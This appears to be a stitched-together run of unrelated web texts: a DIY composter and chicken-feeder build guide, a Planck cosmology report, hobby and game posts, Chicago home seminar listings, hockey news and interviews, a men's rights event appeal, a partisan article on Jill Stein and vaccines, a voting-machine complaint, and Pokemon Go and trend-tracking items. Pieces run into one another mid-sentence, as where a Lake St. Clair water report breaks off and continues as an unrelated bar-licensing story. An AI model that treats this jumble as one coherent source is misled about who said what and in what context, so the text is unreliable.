Contributing Editor Rick Broida writes about business and consumer technology. Ask for help with your PC hassles at hasslefree@pcworld.com, or try the treasure trove of helpful folks in the PC World Community Forums. Sign up to have the Hassle-Free PC newsletter e-mailed to you each week.Black Soldier Fly Composter / Automatic Chicken Feeder SHARE THIS POST:
We have had much success harvesting Black Soldier Fly Larvae to feed our chickens, but we needed a new design. After much thought, this is the design that we have come up with. We designed this unit with these things in mind:
large for plenty of compost
portable so we can move it
auto-feeds our chickens
easy to build and replicate
made from common materials
This composter can turn everyday food and garden waste in to a nutritious food source for chickens and rich compost. We simply place the food scraps in the barrel and the Black Soldier Fly (or BSF) larvae does the rest. The larvae converts the scraps in to rich organic compost. Once the Larvae are mature, they crawl up the rain gutter and fall in to the chicken feeder. The chickens love the BSF and they get a healthy dose of calcium and protein. Once the composter is full of compost, take the barrel out and dump it and mix it in your compost pile as it is ready to be used. This device reduces household waste and provides a free dietary supplement for your chickens. The BSF larvae that are not eaten eventually transform in to adult BSF, lay eggs, and you really don’t see them much at all. The pheromones produced from the BSF repel the common house flies. There is not much odor that is produced from this process, similar to a conventional compost pile but the process is much faster.
Materials:
(3) 2″x4″x8′ Treated Lumber
(1) 55 Gallon Food Grade Barrel
(2 Linear Feet) 3/4″ PVC
(5 Linear Feet) Rain Gutter
(1 pair) Rain Gutter Ends
(4) 3″ Swivel Caster Wheels
(1) box Deck Screws and appropriate bit
Tools:
Cordless 3/8″ Drill or more
Circular Saw
Variable Speed Jig Saw
1″ Drill Bit
Marking Utensil (sharpie, crayon, pencil, etc.)
Measuring Tape
(2) Saw Horses
Safety Glasses
Instructional Video:
When: April 23rd, 2011
Where: The Garden Pool in Mesa, AZ
Who: Dennis with GardenPool.org
Length: 16 minutes
Untitled from GardenPool on Vimeo.
This was recorded live in a classroom setting. To be a part of our classes in person, join our meetup group.
How it was made:
Click Here for the 2×4 cutting guide.
Begin by cutting the 2×4’s. There is a cutting guide on the left to help you make the cuts with your circular saw and saw horses. As you can see, there is only 5% wood scrap in this project.
Begin assembling the barrel base. Use two 19″ pieces and two 36″ pieces to assemble as shown below.
Next, add a pair of 6″ legs on one side and a pair of 12″ legs on the other as shown below. Next, add support for the legs by using a 19.5″ piece in the front and back as shown below. Next, connect the two legs with two 42″ pieces as shown below. Add the 4 swivel caster wheels to make the base mobile as shown below. Next, we need to add the front guard. Use the 4″ piece of wood next as shown below. Next, attach the 21″ 3/4″ PVC pipe to the base as shown in the picture below. Next, add the 21″ rain gutter with caps to the top of the front of the base. Do not secure until you loose fit with the barrel in place. The barrel should be all the way forward. Once you know where the barrel will rest, secure the rain gutter as shown below. Now it is time to prepare the barrel. Drill a 1″ hole in to the barrel as shown below. Next, carefully cut out a smile with a jig saw in the barrel as shown below. Next, clean the barrel and place on top of your base as shown below. Finally, add the 39″ piece of rain gutter in the barrel, all the way against the back. The rain gutter should stick out just enough so that the BSF would fall from the top rain gutter to the bottom rain gutter as they crawl. The finished picture is below.Astronomers released the latest and most exquisite baby picture yet of the universe on Thursday, one that showed it to be 80 million to 100 million years older and a little fatter than previously thought, with more matter in it and perhaps ever so slightly lopsided.
Recorded by the European Space Agency’s Planck satellite, the image is a heat map of the cosmos as it appeared only 370,000 years after the Big Bang, showing space speckled with faint spots from which galaxies would grow over billions of years.
The map, the Planck team said in news conferences and in 29 papers posted online Thursday, is in stunning agreement with the general view of the universe that has emerged over the past 20 years, of a cosmos dominated by mysterious dark energy that seems to be pushing space apart and the almost-as-mysterious dark matter that is pulling galaxies together. It also shows a universe that seems to have endured an explosive burp known as inflation, which was the dynamite in the Big Bang.
In a statement issued by the European Space Agency, Jean-Jacques Dordain, its director general, said, “The extraordinary quality of Planck’s portrait of the infant universe allows us to peel back its layers to the very foundations, revealing that our blueprint of the cosmos is far from complete.”Snap. Weren't expecting this were you?Decided to sit down and draw some Sparkle. And then it turned into Pegacorn Sparkle. And before I knew it, a Wild Purple Pegacorn invasion had begun on my screen and I had the urge to do one of these! It's only been what... 11 and a half months since the last? *totally not necroposting*Hopefully the comic will make up for the lack of Twerplite on this channel, although I'm slowly getting into the whole "Do panel for comic" thing with my new tumblr. And now I really need to sleep. Been sat down doing this for *checks clock* 9 hours?As always, To be continued.Ponies belong to our supreme pony overlordsAll art done in Adobe Photoshop CS 5.5 by yours truly. No not him, me.P.s, If you have any ideas for future comics, don't be shy!The Historic Chicago Bungalow Association seminars are designed for vintage home owners. View Full Caption Historic Chicago Bungalow Association
PORTAGE PARK — The Historic Chicago Bungalow Association will host a series of seminars starting in March designed to help even the most hapless weekend warriors whip their vintage home into shape, officials said.
After the Great Recession left people struggling just to hang on to their homes, the improving economy has led to an increase in demand for seminars covering everything from attic conversions to kitchen renovations in vintage homes, said Historic Chicago Bungalow Association Executive Director Mary Ellen Guest.
The seminars are designed to help owners of any Chicago home — not just bungalows — improve their home's beauty, sustainability and safety through simple and affordable repair projects.
The schedule for the seminar series is:
• Big Ideas for Small Kitchen Spaces — A panel of association members will share their experience renovating their Chicago bungalow kitchens within the existing footprint of the home at 6 p.m. March 11 at the Beverly branch Library, 1962 W. 95th St. and 6:30 p.m. March 31 at the Welles Park fieldhouse, 2333 W. Sunnyside Ave.
• Simple Estate Planning — Attorney Kimberly Jean Brown of Legacy Complete will discuss the basics of estate planning at 6 p.m. March 16 at the Budlong Woods branch library, 5630 N. Lincoln Ave. and 6 p.m. March 25 at the Avalon branch library, 8148 S. Stony Island Ave.
• Basement Flooding Part I — Attendees can wade through the basics of their sewer with Metropolitan Water Reclamation District Executive Director David St. Pierre and learn how to help prevent sewer backups at 6 p.m. March 3 at the Northtown branch library, 6435 N. California Ave.; 6 p.m. March 23 at the Vodak-East Side branch library, 3710 E. 106th St.; 6 p.m. April 13 at the Austin-Irving branch library, 6100 W. Irving Park Road; and 6 p.m. April 22 at the Avalon branch Library, 8148 S. Stony Island Ave.
• Basement Flooding Part II —Ryan Wilson of Elevate Energy/CNT's Rain Ready will discuss the causes of flooding and what can be done to help reduce basement flooding issues at 6 p.m. March 9 at the Austin-Irving branch library, 6100 W. Irving Park Road; 6 p.m. March 30 at the Vodak-East Side Library, 3710 E. 106th St.; 6 p.m. April 14 at the Jefferson Park branch library, 5363 W. Lawrence Ave.; and 6:30 p.m. April 29, Woodson Regional Library, 9525 S. Halsted St.
• Don’t Trash That Sash: Window Repair — Julie Liska of Liska Architects will teach attendees about materials, history and restoration techniques for double-sashed windows at 6 p.m. May 4 at the Avalon branch library, 8148 S. Stony Island Ave. and 6:30 p.m. May 12 at the Indian Boundary Park fieldhouse, 2500 W. Lunt Ave.
• Bungalow Curb Appeal: Landscaping — The Prairie Godmothers will show attendees how to improve their garden spaces by reframing the space, adding show-stopping plants and shrubs and improving their soil at 6 p.m., May 20, Beverly branch library, 1962 W. 95th St. and 6:30 p.m. May 26 at the Portage Park Senior Center, 4100 N. Long Ave.
• Working With An Architect — Residential architectural specialists from the American Institute of Architects Chicago will discuss how to choose an architect as well as how to navigate zoning and permit regulations. After the session, attendees can have a 15-minute one-on-one consultation with an architect. 6 p.m. May 18 at the Avalon branch library, 8148 S. Stony Island Ave.; and 6 p.m. June 3 at the Mayfair branch library, 4400 W. Lawrence Ave.
• Expanding Spaces: Basements — Julie Liska, of Liska Architects will discuss how to best use unfinished basement space to maximize living and storage space potential at 6 p.m. June 4 at the Jefferson Park branch library, 5363 W. Lawrence Ave. and 6:30 p.m. June 9 at the Woodson regional library, 9525 S. Halsted St.
• Vintage Masonry Repair — Mario Machnicki of Marion Restoration will help homeowners identify priority repairs and how to establish a scope of work for rehab projects at 6 p.m. June 15 at the Budlong Woods branch library, 5630 N. Lincoln Ave. and 6 p.m. June 23 at the Brainerd branch library, 1350 W. 89th St.
All seminars are free of charge and open to the public, but registration is required.
For more information, call Gillian Wiescher at 312-675-0300, ext. 17; email gwiescher@chicagobungalow.org or go to chicagobungalow.org.
For more neighborhood news, listen to DNAinfo Radio here:It's awesome that is comes with the first Bayonetta for free, so you can get aquainted with the story. Bayonetta is a good game, pretty fun, and beautiful to look at. The difficulty is outrageous, and the controls didn't port over very well. Bayonetta 2, however, is unbelievable. EVERYTHING about the sequel is improved. The game play is the most significant improvement, and makes you feel like an absolute monster once you get practiced and used to it. It all feels so much more tight and responsive than the first, and it's actually possible to target an enemy AND dodge simultaneously, unlike the first. It's even more polished and gorgeous than Bayonetta, and the shop is vast improved. The Amiibo support is so good it feels like cheating almost. You can use 32 Amiibo per day, which nets you 500k halos, along with a boatload of additional items that you can just stockpile for harder difficulties. This game REALLY rewards Amiibo usage, and it is a literal game changer. After finally being able to play Bayonetta 2, I could not be more excited for Bayonetta 3 in the future. Bayonetta 2 is a must have if you own a Switch, for sure.
Read moreArtistry Against Misandry is hosting an International Men’s Day 2012 event in Nashville, TN. AVFM’s very own, John The Other, is scheduled to be a special guest speaker amidst performances by regional bands. Although the official day of annual celebration is 11/19, the greater IMD organization has approved our celebration for Saturday, November 17, 2012 It will take place at The Listening Room in downtown Nashville, from 6:00pm – 10:00pm. The event will be all ages and open to the general public. To my knowledge, at this point, this will be the only MRA-hosted IMD event in the United States for 2012. It will be a historical starting point from which many future celebrations will hopefully come.
The regional theme I have picked for this year is “Overcoming Misandry through Introspection and Positive Personal Action”. This will encompass many topics we, as MRAs, discuss within the MRM and it will emphasize the importance of personal growth as a precursor to making the best choices in order to live a long, safe and healthy life. The phrase “man up” will be up for dissection and the detractors that men face in western society will be exposed. Free literature on various resources and life options promoted within the MRM will be supplied to the public. The local male medical clinic will be invited to join the event as well. A raffle will be held in which participants can win prizes from local businesses. Families will be invited to attend as there will be entertainment for the kids as well.
The IMD organizational committee has appointed me Regional TN (USA) Coordinator for International Men’s Day 2012. I plan to uphold this title with honor and to do the MRM justice; however, to execute these goals I need to secure the monetary funds necessary for the promotion and production of this event. Fliers, brochures, online and print promotional ads, the venue’s staff and the entertainment need to be paid for. Believe me when I say it is something I abhor doing; however I am asking you for any donations you are able to provide. I cannot do this alone but with your help we can make our presence and message known. You can send funds via clicking on the “donate” button on the home page of Artistry Against Misandry. I thank you in advance as your help means more to me than I can ever express.
Donate here: http://www.artistryagainstmisandry.com/The Winnipeg Jets are pleased to announce they have agreed to terms with forward J.C. Lipon on a three-year, two-way, entry level contract with an average annual value of $700,000.
Lipon, 20, played in 61 games with the Kamloops Blazers of the WHL last season. In that time, the right-handed winger recorded 89 points (36G, 53A) and 115 penalty minutes. He also played in 15 postseason games with the club for 23 points (6G, 17A) and 20 penalty minutes. Lipon also suited up for Team Canada at the 2013 IIHF World Junior Championship where he appeared in five games.
The Regina, SK native has played four seasons with the Blazers for 248 career games, 188 career points (61G, 127A) and 373 career penalty minutes.
He was originally drafted by the Winnipeg Jets in the third round, 91st overall, in the 2013 NHL Draft.
J.C. Lipon
Right Wing
Born Jul 10 1993 -- Regina, SASK
Height 6.00 -- Weight 180 -- Shoots R
Selected by Winnipeg Jets round 3 #91 overall 2013 NHL Entry Draft
--- Regular Season --- ---- Playoffs ----
Season Team Lge GP G A Pts PIM GP G A Pts PIM
---------------------------------------------------------------------------------------------
2009-10 Kamloops Blazers WHL 53 3 10 13 38 3 0 0 0 0
2010-11 Kamloops Blazers WHL 65 3 18 21 109 -- -- -- -- --
2011-12 Kamloops Blazers WHL 69 19 46 65 111 10 2 7 9 20
2012-13 Kamloops Blazers WHL 61 36 53 89 115 15 6 17 23 20
---------------------------------------------------------------------------------------------Nobody wants another Flint Water Crisis.
I’ve lived in Saint Clair Shores for years. I’ve been a boater on Lake St. Clair for 4 years. During those years I’ve heard the rumors - the urban legends.
People love to talk about raw sewage dumped into the lake during heavy rain.
I’ve spent weeks looking past all of that and in search of the facts.
The lake water flows into the Detroit River and it becomes most of the drinking water for Metro Detroit.
This is controversial, political and emotional.
My expanded report is in the video player above.
If you would like to do more of your own research click on these links:
DEQ Discharges
Beach closings
Save Lake St. Clair
For more information, read my Q & A with Cheryl Porter, the COO of the Great Lakes Water Authority about our drinking water below:
Where does |
his name that appears on the liquor permit. He said Marro and other staff are putting the finishing touches on the bar for a Dec. 16 opening. Iannucci also said the family is working with lawyers to file an appeal in Marro's case.
"There's a lot of serious things that are going to come out of this in his favor, and it's going to work," said Iannucci, who also owns Jerry's Shoppe of Decor in Stratford.
In an interview after the meeting, Iannucci insisted that his nephew would not be in a serving position at any time. He said Marro is not a licensed bartender, doesn't know how to make drinks and doesn't even drink alcohol himself. Instead, Iannucci said, his nephew would be working downstairs, overseeing things like purchasing, stocking the restaurant and hiring employees.
Marro's cousin, Debra Jaswaye, said he lives with her in Bridgeport. She said her cousin has taken multiple private polygraphs to try to prove his innocence, but probation authorities have not accepted them as proof that he didn't commit the crime.
She said her cousin was forced to plead guilty to the crimes.
"They lumped together both the sex charge and the drug charge," she said. "He could not beat the drug charge because the drugs were planted in his house, so he had no choice but to plead guilty."
She said her cousin was well-qualified to be general manager of Naughty Water, citing his experience with other restaurant businesses like Liquid Night Club, in South Norwalk, which is now called Episode.
"No one could do it better than my cousin, because he has a very good track record for running very successful businesses," Jaswaye said.
Iannucci said he also thinks Marro has skills that make him a good fit for a management job, the fruits of which he said will be on display when the restaurant opens to the public.
"They're trying to make this place fantastic," Iannucci said. "They're trying to make this place something to stand out in Black Rock."August 2, 2016
AS THE Democratic convention came to an end with the coronation of Hillary Clinton, the pressure was on for anyone still dissatisfied with the Democrats' presidential nominee to be quiet and get in line.
A torrent of abuse rained down on Bernie Sanders supporters--especially the delegates who chanted and disrupted the stage-managed proceedings in Philadelphia, and ultimately walked out of the convention--for not doing the "realistic" thing and getting behind Clinton.
Some of the scolders for Clinton have shifted their attention to the independent candidate a significant minority of Sanders supporters are now turning to: Dr. Jill Stein of the Green Party.
Among the typical complaints that she is a "spoiler" who is helping the Republicans is a specific charge that spread around the Internet--that Stein opposes vaccinations and is drawn to the "anti-vaxxers" who cite discredited sources to justify refusing to vaccinate their children, despite the threat to public health.
The allegation is false and a cynical fabrication to smear one of the most successful Green Party candidates in recent years.
The Green Party's Jill Stein speaks to a campaign meeting (Gage Skidmore)
One of the leaders of the charge is Jordan Weissmann, a Slate.com economics correspondent whose other election coverage includes a ceaseless series of not-exactly-earthshaking articles ridiculing Donald Trump and not a single one analyzing Hillary Clinton.
Weissmann attacked Stein generally for the "crime" of calling for defense spending to be cut in half before focusing on her comments several months before during a Reddit AMA (Ask Me Anything) chat. His aim was to portray Stein as anti-science, so she could be consigned to the crackpot fringe of politics.
But to do that, Weissmann had to ignore Stein's explicit statements supporting vaccination and twist her critique of the medical-pharmaceutical industry to mean something she didn't.
DURING THE Reddit discussion, Stein was asked about the Green Party's official stance on vaccines. Here's what she wrote, spelling errors and all:
I don't know if we have an "official" stance, but I can tell you my personal stance at this point. According to the most recent review of vaccination policies across the globe, mandatory vaccination that doesn't allow for medical exemptions is practically unheard of. In most countries, people trust their regulatory agencies and have very high rates of vaccination through voluntary programs. In the U.S., however, regulatory agencies are routinely packed with corporate lobbyists and CEOs. So the foxes are guarding the chicken coop as usual in the US. So who wouldn't be skeptical? I think dropping vaccinations rates that can and must be fixed in order to get at the vaccination issue: the widespread distrust of the medical-indsutrial complex. Vaccines in general have made a huge contribution to public health. Reducing or eliminating devastating diseases like small pox and polio. In Canada, where I happen to have some numbers, hundreds of annual death from measles and whooping cough were eliminated after vaccines were introduced. Still, vaccines should be treated like any medical procedure--each one needs to be tested and regulated by parties that do not have a financial interest in them. In an age when industry lobbyists and CEOs are routinely appointed to key regulatory positions through the notorious revolving door, its no wonder many Americans don't trust the FDA to be an unbiased source of sound advice. A Monsanto lobbyists and CEO like Michael Taylor, former high-ranking DEA official, should not decide what food is safe for you to eat. Same goes for vaccines and pharmaceuticals. We need to take the corporate influence out of government so people will trust our health authorities, and the rest of the government for that matter. End the revolving door. Appoint qualified professionals without a financial interest in the product being regulated. Create public funding of elections to stop the buying of elections by corporations and the super-rich.
Nothing in this response is opposed to vaccination. On the contrary, Stein makes it clear that she believes vaccinations are essential in spite of the conflicts of interest that come with an industry that produces vaccines for profit and a regulatory oversight system that routinely caters to industry.
Stein's comments, obviously written in the spirit of an online chat, don't specifically address the issue of the "anti-vaxxers," but her focus on the consequences of corporate control of health care does provide a context for understanding how anti-vaccination sentiment can arise.
Rather than acknowledge that even the vast majority of people who support vaccination should be concerned about how the pharmaceutical industry operates, bloggers like Weissmann--along with mainstream media outlets such as the Washington Post and Forbes--purposely misinterpret Stein's words to imply she is pandering to anti-vaxxers.
The following quote in Stein's interview with the Washington Post has been used to double down on the claim that she is anti-vaccination:
As a medical doctor, there was a time where I looked very closely at those issues, and not all those issues were completely resolved. There were concerns among physicians about what the vaccination schedule meant, the toxic substances like mercury which used to be rampant in vaccines. There were real questions that needed to be addressed. I think some of them at least have been addressed. I don't know if all of them have been addressed.
Having questions about the safety of medical products is not the same as being anti-science. The smears that make use of this quote are especially underhanded considering that Stein makes it clear in the same interview that she doesn't discourage vaccine use:
I think there's no question that vaccines have been absolutely critical in ridding us of the scourge of many diseases--smallpox, polio, etc. So vaccines are an invaluable medication.
If there were any lingering doubts about what Stein thinks after the Reddit AMA and the subsequent "controversy," they should be resolved by the Stein campaign's tweets in the last few days:
As a medical doctor of course I support vaccinations. I have a problem with the FDA being controlled by drug companies. I support preventative health care as a human right (including vaccines), now let's discuss why the DNC rejected universal health care. Those who say I'm "anti-vaxx" are anti-facts. They're lying to distract you from our revolt against 2-party failure.
At this point, it is not only incorrect, but dishonest and irresponsible to accuse Jill Stein of being anti-vaccination.
STEIN IS absolutely right to have a critique of the conflicts of interest in medicine that undermine public trust in regulatory agencies, especially given the direct financial relationship between pharmaceutical companies and the Food and Drug Administration (FDA). For example, Dr. Sidney Wolfe pointed out in a Frontline interview, that under the Prescription Drug User Fee Act, pharmaceutical companies "[pay] cash right up front for FDA reviews."
This is one of many problematic relationships among hospital systems, insurance companies, pharmaceutical companies and governmental agencies in the profit health care system. It isn't unreasonable at all to mistrust a profit-driven health care system that has on occasion failed to protect the public from unsafe medications.
As Stein told the Washington Post:
It's really important that the American public have confidence in our regulatory boards so that all of our medical treatments and medications actually are approved by people who do not have a vested interest in their promotion. In my experience, this is not a radical idea. This is basic common sense.
Building that confidence won't happen by pretending that the pharmaceutical-industrial complex works just fine, as Stein's critics do. As Sean Petty wrote for SocialistWorker.org in an article about the anti-vaccination hysteria and its consequences:
We need an approach that validates and further articulates the real contradictions of health and capitalism as a starting point for then understanding where real scientific knowledge can be extracted in the current morass of the profit-driven priorities of health information. Moreover, we need a movement, led by health care workers and patients, that removes profit out of health care. This means single-payer health care, publicly rather than privately funded health care research, significantly greater regulation and the expansion of the public health care infrastructure. Maybe then we can begin to rebuild trust back into a vibrant public health system and a true sense of collective empowerment, which then would undermine the current perception that individual solutions are the only ones on offer.
It is important to challenge problematic statements and positions by political figures we support, but the problem in this case isn't Jill Stein's position, but how it has been twisted to serve a hostile agenda.
Let's be crystal clear: Jill Stein is not anti-vaccination. Her attitude has been distorted by those who seek to disparage her and third-party alternatives in general. Her positions are far superior to the corporate parties on foreign policy, health care, labor, education and many other crucial issues. And her message is resonating with the radicalizing, unapologetic former Bernie Sanders supporters who reject Hillary Clinton and the status quo.
Supporting candidates like Jill Stein--including confronting slander when it arises--is part of challenging the two party stranglehold on U.S. politics, which is an essential step in the process of strengthening the left and winning social change.Republican Illinois state House candidate Jim Moynihan was taken aback Monday when he intended to cast a vote for himself and the touch-screen voting machine instead cast a vote for a Democrat.
“While early voting at the Schaumburg Public Library today, I tried to cast a vote for myself and instead it cast the vote for my opponent,” Moynihan told the Illinois Review. “You could imagine my surprise as the same thing happened with a number of races when I tried to vote for a Republican and the machine registered a vote for a Democrat.”
Accordingly his faith in the balloting system of Cook County has been shaken, the Illinois Review reported.
While using the machine, Moynihan voted in various races on the ballot and noticed that whenever he voted for a Republican the machine registered a vote for the Democrat opponent. He alerted the election judge and demonstrated the error. Eventually, Moynihan was allowed to vote for himself and other Republicans.
“Clearly, I am concerned that citizens will be unable to vote for the candidate of their choice, especially if they are in a hurry and do not double check their ballot,” Moynihan said. “I cannot say whether or not this was intentional, but Cook County voters deserve better and should not have their right to vote suppressed.”I interviewed Taylor Hall for a feature piece that ran in the Edmonton Journal yesterday. I wasn’t able to include all of his thoughts in one article. I had to leave out some good comments, but I wanted to share the remainder of our conversation.
Today, Hall shares some more insight into Todd McLellan as a coach, but I also learned more about Hall as a person, not just the player.
The one constant during our conversation was Hall’s excitement and energy burst through the phone. He sounded completely different than the young man who spoke
to the media at the conclusion of the Oilers season. Confidence and the mental
side of the game are often undervalued. Even the best players in the world
lose their confidence. Steven Stamkos, one of the best goal scorers in the
game, had no goals in the first eight playoff games. He was struggling, but
after scoring vs. Montreal
in game two he has seven goals in his past eleven games and once again looks like an elite scorer.
Five years of losing will eat away at you,
but one small stint of success can erase those memories quickly. That seems to be the case with Hall. He rediscovered the fun of hockey while playing in Prague.
What did Hall learn playing for Canada
that he hopes to bring to training camp next year?
“Just that it was a collective effort. I
think Todd [McLellan] did a really good job of making sure everyone not only
had a role, but knew what it was and knew how to excel in it. There were guys
that were not playing as much as they were used to on their club teams, but
everyone felt important in their role and everyone felt like what they were
bringing to the team was something that was important. I think you’ve got to
bring guys into the fire, make sure you make guys feel important and I think
that everyone really did feel like that in Prague,” said Hall.
In yesterday’s article, Hall mentioned how prepared McLellan was as a coach and that was a theme throughout our 25-minute conversation.
One of the best compliments a coach can
receive from a player is that he is prepared. NHL players are robotic by
nature. They like routine. They are conditioned to absorb the information they
receive from the coach and then put it to use on the ice. If players don’t feel
prepared prior to a game, they rarely play up to their full potential because
they are thinking more than reacting.
McLellan’s preparedness wasn’t the only
trait that grabbed Hall’s attention.
Hall has only been in the NHL for five
seasons, but he’s a wily veteran when it comes to learning how to play for a
different coach. McLellan will be his fifth head coach, but Hall won’t need
significant time in training camp or the preseason to understand how his new
coach thinks. He knows what to expect, and I asked Hall what aspect of
McLellan’s coaching strategy impressed him the most.
“I’d say the amount of attention that was
put into being above the puck and being in front of the puck in the offensive
zone. As soon as the puck was turned over, or we didn’t have a hundred percent
possession, we were told to get above the puck and get inside position on their
guys so we can outnumber them in any situation. If they turned the puck over
then we’re in the spot to produce offense immediately. He was strict about
playing that way, but he also explained it in a way that was easy to understand
and implement on the ice,” answered Hall.
Again, Hall’s excitement about his new coach seemed to match his renewed excitement about the game. Five years of losing, and losing horribly, will break down the will of any athlete. Winning a gold medal and being a main contributor to the championship was a huge boost for Hall’s psyche.
Hall the person…
During the past five seasons, I’ve noted how the frustration of losing caused some fans to attack the personalities of players, not just their play on the ice. I’ve felt one of the biggest mistakes we make when watching pro sports is forgetting the athletes are human. They are great athletes, but that doesn’t mean they are immune to the same struggles of every day people.
People judge athletes and think they know them because they watch them on TV or follow them on social media. That isn’t the case. I’ve covered teams for 14 years and I’d say I truly know maybe 5-10 players in a way where I really got a sense of who they are as a person, not just a player.
Hall arrived in Edmonton a young, excited and confident 18
year old. He was supposed to be the saviour of the franchise; the first ever #1
overall pick. Some expected him to carry the Oilers back to the playoffs, and
when winning didn’t occur, the pressure mounted and at times Hall admits it was
hard to deal with.
“I think as you get older you start to kind
of fit into your personality and you start being the person that you’re going
to be for the rest of your life. I think that that is happening with me. I’ve
played five years in the NHL, but I’m only at the age where most people are
just graduating from university. I’m still learning about myself. All of the
losses that we’ve had in the last five were frustrating. Maybe other guys would
have lashed out in the same way that I did a couple of times, maybe they
wouldn’t, but that’s the way that it goes. I’m starting to learn that sometimes
you just have to relax and let things happen as they do. A good example for me
has been the last month for our team. Things are going to work out and I see
that now,” said Hall.
Patience rarely comes easy to anyone, but
when you are young and the face of the franchise in a hockey-crazed market it
can be even harder to obtain. Hall has worked on finding the right balance of
passion and patience.
“I try to play with a lot of passion. I
think it is important to play with emotion, but you want to make sure you’re
not going over the line. I think that’s what I’ve gotten better at. Certainly
in public I’m a lot more shy than people think, especially when people come up
to me that I don’t know. I’m not the type of person that’s going to have a
twenty minute convo. That isn’t an easy thing for me, but as I get older I find
I’m getting better at those types of things.
“I’ve heard people say they think I’m
arrogant or a snob and that used to bother me, because I’m not that person. I’m
reserved around people I don’t know; even when I went to the Worlds the first
time I was shy. I’ve gotten better at letting my guard down, but I’ve also
learned you have to be true to who you are and not worry what strangers say
about you,” said Hall.
When Hall was injured last year we watched one game on TV together. I wanted to ask him about what he saw, and more so what I didn’t catch during the play. It was a valuable learning experience for me, but during intermissions and after the game we talked about non-hockey things. I left that evening knowing more about who Hall was as a young man. He is naturally shy, closer to an introvert than an extrovert, and because of how demonstrative he is on the ice, I think some people expect he will be the same way off the ice. He isn’t.
The harsh reality of playing in a hockey
market is players have to mature in the public eye. Young NHL players are
expected to make the right decision on and off the ice all of the time, and
frankly that isn’t realistic, especially when you are 18-21 years of age. Hall
and his other young teammates have had to mature in losing environment. It
wasn’t easy, but with all the changes during the past six weeks the fanbase, the players and the entire organization are hopeful the worst is behind them.
Hall, like every fan, was excited about the arrival of McDavid. “We played against Jack Eichel, and he was impressive. Everyone seems to think Connor is even better, and that is exciting. I’m looking forward to meeting him and playing with him, and helping him out off the ice if he needs it. I’ve learned a lot about myself the past five years and how to deal with adversity, and hopefully he won’t have to experience as much losing as we did in my first few seasons,” joked Hall.
The major advantage McDavid will have upon his arrival in Edmonton, is he’ll be able to play with Hall. A top-end offensive player with five years of NHL experience, but also a player who has the understanding of what it feels like to be looked upon as the saviour for an organization.
McDavid will learn from Hall and Hall will study some things from young McDavid. Both will be extremely excited when they arrive for training camp.
McDavid is going to be stoked playing in the NHL. Hall will be energized by the thoughts of being on a competitive team again, and filled with the belief he is more prepared to help lead the team on and off the ice.
Recently by Jason Gregor:Five new football recruiting rules were announced Wednesday by the NCAA, including a new dead period for winter recruiting.
The rules will be made effective immediately and mean that no in-person recruiting can take place from Dec. 16 through Jan. 15 -- a month-long period that occurs during bowl season.
A quick rundown of the other rules:
Football players can prepare for the season using weight training, conditioning and film review during an eight-week period as long as they are enrolled in summer classes. This rule was previously adopted for both men's and women's basketball.
School staff members can no longer attend all-star games or other such activities.
An additional 14-day dead period has been established from late June to early July.
Schools can now pay for meals for up to four family members on a recruit's official visit. Previously, schools could only pay for parents, legal guardians, spouses or children.
More from SB Nation college football:
Follow @SBNationCFBFollow @SBNRecruiting
• Full Week 10 college football TV schedule guide
• Why Florida State would be favored to beat Oregon
• The Alphabetical, Week 9, by Spencer Hall
• Does your team’s schedule get harder from here on out?
• Long reads: Chip Kelly’s New Hampshire laboratory | Why we love college footballPokemon Go is alive and well, and will be for years to come, said Niantic Labs CEO John Hanke during an interview on the sidelines of the Wall Street Journal’s WSJ.D Live conference in Laguna Beach, Calif. Tuesday. “Pokemon Go has the potential to be a 20-year franchise,” he said.
To get there, Niantic Labs plans to not only add more smarts to the game, but also eventually launch on augmented reality (AR) glasses. The San Francisco-based startup has been experimenting internally with a variety of hardware platforms, and Hanke hinted at a possibility to launch on Magic Leap’s upcoming mixed reality headset.
“There could be an opportunity for us to build an app for that device,” he said, adding that the first implementations of the game on headsets may not include all the features of the mobile app.
Niantic Labs has been credited with being one of the pioneers of phone-based AR, thanks to a feature that superimposes Pokemon characters over a camera view of the real world. However, Hanke actually downplayed the aspect of the game. “The actual AR part of Pokemon Go is not that sophisticated,” he said. “It’s 5% of the experience.”
Related Microsoft Unveils Hololens 2, Its Next-Generation Augmented Reality Headset Mozilla to Bring Firefox AR/VR Browser to Microsoft's Hololens 2
Phone-based AR has been back in the spotlight with Apple’s recent introduction of ARKit, which allows developers to build more sophisticated AR apps for iPhones and iPads. Hanke still called ARKit, as well as Google’s ARCore, stepping-stones towards a glass- or headset-based future.
He also suggested that bigger advances for games like Pokemon Go and similar apps will come from computer vision, with its ability to recognize objects, and then serve up information or experiences related to those objects. “That technology is just advancing at a ridiculous pace,” he said, quoting shopping as well as mass transit as some other use cases.
As for Pokemon Go, Hanke said that Niantic Labs had a couple of major updates in store for the next few months. For instance, the game will soon incorporate more of what’s going on in the world. The company also plans to hold additional events, which Hanke described as great ways to keep existing users happy, and grow virally in new markets. “That just really solidifies the core,” he said.Advertisement
Is it important for you to stay informed of daily news? Do you try to always be up-to-date with what people are talking about throughout the world?
If “yes” is the answer to both of the questions, then today’s post on what’s hot online and how to spot internet hot trends is right for you!
Use meme trackers to spot daily hot trends:
Google Blogsearch that was turned into a meme tracker only a few months ago tracks memes throughout all topics and naturally has the biggest index to check.
Megite separates memes into categories (technology, entertainment, business, science, etc) and often publishes completely irrelevant memes in each.
separates (technology, entertainment, business, science, etc) and often publishes completely irrelevant memes in each. [NO LONGER WORKS] Techmeme is the most popular technology meme tracker which is known to be the fastest to catch hot tech news.
Use blog search engines to spot daily hot trends:
Technorati Popular gives the list of top searches and top blogs (that have become hot in the past 48 hours).
BlogPulse key phrases allows for a “trend this” option that graphically represents the hot trend history.
Use search engines to spot daily hot trends:
Yahoo Buzz. Besides giving a list of the most popular terms, the service reveals the daily buzz score (i.e. “the percentage of Yahoo! users searching for that subject multiplied by a constant to make the number easier to read“) and the move (i.e. how fast this has become popular).
(i.e. “the percentage of Yahoo! users searching for that subject multiplied by a constant to make the number easier to read“) and (i.e. how fast this has become popular). Google hottest trends gives a huge list of the most popular search terms. The best thing about the service is that it is constantly updated throughout the day.
MSN A-list lists daily popular headlines, top videos and movies and even most searched people and sport stories.
Aol.com hot searches shows you its “hot searches” of the previous day. They also add their own commentary to each search term explaining what the buzz is about.
Top Ask.com updates you on the most popular terms in general search, news search and even on most searched movies (past week). It will also show you top advancing searches (those that are the fastest to get popular).
Use social media sites to spot daily hot trends:
Use Twitter tools to spot daily hot trends:
[NO LONGER WORKS] Tweet Meme, as the domain name suggests, tracks and displays Twitter memes in a handy threaded style.
